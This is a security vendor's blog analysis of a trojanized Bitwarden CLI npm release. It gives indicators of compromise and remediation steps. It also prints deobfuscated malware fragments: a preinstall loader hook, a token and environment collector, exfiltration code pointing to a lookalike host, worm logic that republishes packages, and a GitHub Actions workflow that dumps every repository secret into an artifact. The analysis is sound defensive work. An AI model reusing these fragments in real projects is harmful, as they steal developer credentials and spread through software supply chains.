Bitwarden CLI Supply Chain Compromise
Table of Contents
TL;DR
The malicious @bitwarden/[email protected] npm release was not a normal Bitwarden update. It was a trojanized package published through Bitwarden’s npm delivery path during the wider Checkmarx and TeamPCP campaign. The package replaced the expected CLI entrypoint with a loader, pulled in the Bun runtime, launched an obfuscated payload, and then harvested developer and CI secrets.
Bitwarden said the incident affected the npm distribution path for the CLI during a short window on April 22, 2026, not Bitwarden vault data or production systems. That matters, but only after one important caveat: anyone who installed @bitwarden/[email protected] should treat the host and exposed credentials as compromised.
Impact:
- Steals GitHub tokens, npm tokens, SSH material, cloud credentials, shell history,
.envfiles, and AI tool configuration files - Posts encrypted data to
hxxps://audit[.]checkmarx[.]cx/v1/telemetry - Falls back to GitHub commit search and repository abuse when direct exfiltration fails
- Republished downstream npm packages using stolen publish credentials
- Injects a GitHub Actions workflow that serializes repository secrets into an artifact
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | @bitwarden/[email protected] |
| Loader file | bw_setup.js |
| Main payload | bw1.js |
| Primary C2 | hxxps://audit[.]checkmarx[.]cx/v1/telemetry |
| C2 IP | 94[.]154[.]172[.]43 |
| Loader SHA-256 | 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb |
| Payload SHA-256 | 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14 |
| GitHub fallback marker | LongLiveTheResistanceAgainstMachines |
| Fallback domain marker | beautifulcastle |
Analysis
Package overview
This package stood out for two reasons. First, 2026.4.0 did not match Bitwarden’s public CLI release history. In the public bitwarden/clients issue that first collected external reports, users noted that the latest legitimate CLI release was still 2026.3.0 when the malicious npm package appeared. Second, Bitwarden later confirmed that 2026.4.0 was malicious, deprecated it, and linked the incident to the ongoing Checkmarx supply chain campaign.
That puts the package in the same family as the TeamPCP-linked compromises that hit Trivy, LiteLLM, and other developer tooling earlier in 2026. The infrastructure overlap is hard to ignore. The same audit.checkmarx.cx endpoint appears again, and the payload keeps the same mix of credential theft, GitHub abuse, and downstream propagation.
The poisoned publish path
Mend’s writeup traced the publish path back to a suspicious change in bitwarden/clients/.github/workflows/publish-cli.yml. Their snippet shows three lines added to the publish job right before the malicious npm release appeared:
+ echo $NPM_TOKEN | base64 -w 0 | base64 -w 0 npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN+ cp scripts/cli-2026.4.0.tgz /tmp+ cd /tmp npm publish scripts/cli-2026.4.0.tgzThat change does two jobs. It prints the npm publish token into CI logs in double-base64 form, and it swaps the package being published. The GitHub issue timeline shows the suspicious commit landed at 21:18 UTC on April 22, 2026. The npm release metadata recorded 2026.4.0 at 21:22:59 UTC. That four minute gap is short enough to treat the workflow modification and package publish as part of the same attack chain.
The issue thread also notes the suspicious commit lives in the repo’s fork network rather than on a normal branch. That detail matches a pattern already seen in the TeamPCP campaign: attackers abuse GitHub’s fork object store and workflow permissions to route malicious changes into release infrastructure without leaving a normal branch history behind.
The package execution path was replaced
JFrog’s analysis shows the malicious package did not need to alter Bitwarden’s compiled CLI logic in place. It only needed to change the outer package metadata so npm would run the attacker’s loader instead of the legitimate CLI:
{ "scripts": { "preinstall": "node bw_setup.js" }, "bin": { "bw": "bw_setup.js" }}That is enough. preinstall executes during package installation, and the bw binary path now points to the same loader. A developer does not need to log in to Bitwarden or use the CLI. Merely installing the package triggers the malicious code path.
JFrog also noted another useful clue: the outer package claimed to be 2026.4.0, while metadata inside the bundled application still pointed to Bitwarden CLI 2026.3.0. That mismatch suggests an older legitimate release was repackaged with a malicious wrapper rather than built through the normal vendor pipeline.
Loader and payload
The first stage, bw_setup.js, is small and readable. Its job is to bootstrap Bun and then hand execution to the obfuscated second stage:
const BUN_VERSION = '1.3.13';const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
// ... download, extract, chmod ...
execFileSync(binPath, ['bw1.js'], { stdio: 'inherit' });That choice is practical. The package does not need Bun to be present on the target system, and the attacker gets access to Bun-specific APIs once the runtime lands. JFrog and Mend both describe the second stage, bw1.js, as heavily obfuscated and much larger than the loader. Mend measured it at roughly 9.7 MB and described multiple embedded payload blobs inside it.
What the payload steals
This payload behaves like a workstation and CI loot collector, not a narrow npm token stealer. JFrog’s deobfuscation shows the shell collector explicitly calls gh auth token and then scans the result along with environment data:
class un extends $f { constructor() { super('shell', 'misc', { ghtoken: /ghp_[A-Za-z0-9]{36}/g, npmtoken: /npm_[A-Za-z0-9]{36,}/g, }); }
async ['execute']() { let result = {}; try { let token = execSync('gh auth token', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], }).trim(); if (token) result.token = token; } catch {} result.environment = process.env; return this.success(result); }}The file collector goes further. JFrog and Mend both show it targeting ~/.npmrc, .git/config, .git-credentials, ~/.aws/credentials, .env, ~/.bash_history, ~/.zsh_history, and AI tool configuration files such as ~/.claude.json, ~/.claude/mcp.json, and ~/.kiro/settings/mcp.json. That last part matters. This was not generic credential theft. The operator explicitly hunted for agent and MCP configuration data on developer machines.
Exfiltration and GitHub fallback
JFrog published the payload’s encryption and primary exfiltration code. The package compresses the results, wraps a random AES key with RSA OAEP, and posts the encrypted envelope to the Checkmarx lookalike domain:
async ["encryptProviderResults"](results) { let json = JSON.stringify(results); let compressed = await gzip(Buffer.from(json)); let aesKey = crypto.randomBytes(32); let iv = crypto.randomBytes(12); let wrappedKey = crypto.publicEncrypt({ "key": Fr, "padding": crypto.constants.RSA_PKCS1_OAEP_PADDING, "oaepHash": "sha256" }, aesKey); let cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv); ...}
class Cy extends yH { constructor(domain, port, path) { super("domain", { "domain": domain ?? "audit.checkmarx.cx", "port": port ?? 443, "path": path ?? "v1/telemetry" }); }}When direct HTTPS exfiltration fails, the malware does not stop. JFrog describes a fallback path that searches GitHub commit messages for staged PATs and alternative routing data. That makes the payload more resilient than the average npm credential stealer, and it fits the same GitHub-abuse pattern seen in other TeamPCP-linked incidents.
Worm behavior and CI secret dumping
Mend’s analysis shows the package can also republish other npm packages if it finds valid publish credentials. Their deobfuscated snippet shows the worm replacing downstream preinstall scripts with a new dropper and then publishing via Bun:
_0x3ddece.scripts['preinstall'] = __decodeScrambled( [0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18] // decodes to: "node setup.mjs");await Bun.write(setupPath, K$);await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);If a GitHub token with repo and workflow scope is available, the payload moves into the victim’s repositories and injects a workflow named Formatter:
# package/bw1.js embedded workflowname: Formatteron: push:jobs: format: runs-on: ubuntu-latest env: VARIABLE_STORE: ${{ toJSON(secrets) }} steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd - name: Run Formatter run: echo "$VARIABLE_STORE" > format-results.txt - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f with: name: format-results path: format-results.txtThat turns a stolen developer token into CI secret theft across every repository the token can modify. One installation can become several compromised publish paths if the victim has enough access.
What to do if this version was installed
Treat @bitwarden/[email protected] as a host-level credential exposure event.
- Remove the package and any dropped artifacts such as
bw_setup.js,bw1.js,bun, orbun.exe. - Rotate GitHub tokens, npm tokens, SSH keys, cloud credentials, and any secrets present in
.envfiles or CI environments on that host. - Review GitHub repositories the user could write to for unexpected workflow files, branches, or artifact uploads.
- Block and hunt for traffic to
audit.checkmarx[.]cxand related fallback GitHub search patterns.
This incident also reinforces a release engineering point that has come up repeatedly in 2026. Trusted publishing reduces one class of token theft, but it does not save a release pipeline that can still be steered by a poisoned workflow, a compromised dependency scanner, or an attacker who already reached the publishing job.
The same lesson showed up in the earlier Trivy supply chain compromise, the malicious LiteLLM package analysis, and the broader agent skills threat model. Once a build or agent path can read secrets and publish artifacts, the package registry becomes the last step, not the first breach.
References
- Bitwarden issue tracking the malicious CLI release
- Bitwarden statement on the Checkmarx supply chain incident
- JFrog analysis of the hijacked Bitwarden CLI
- Mend writeup on the poisoned
@bitwarden/clipackage - BleepingComputer coverage with Bitwarden’s response
- The Hacker News report on the Checkmarx-linked campaign
- malware
- npm
- supply-chain-security
- github-actions
- ci-cd-security
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

forge-jsx npm Package: Purpose-Built Multi-Platform RAT
forge-jsx poses as an Autodesk Forge SDK on npm. On install it deploys a system-wide keylogger, recursive .env file scanner, shell history exfiltrator, and a WebSocket-based remote filesystem...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
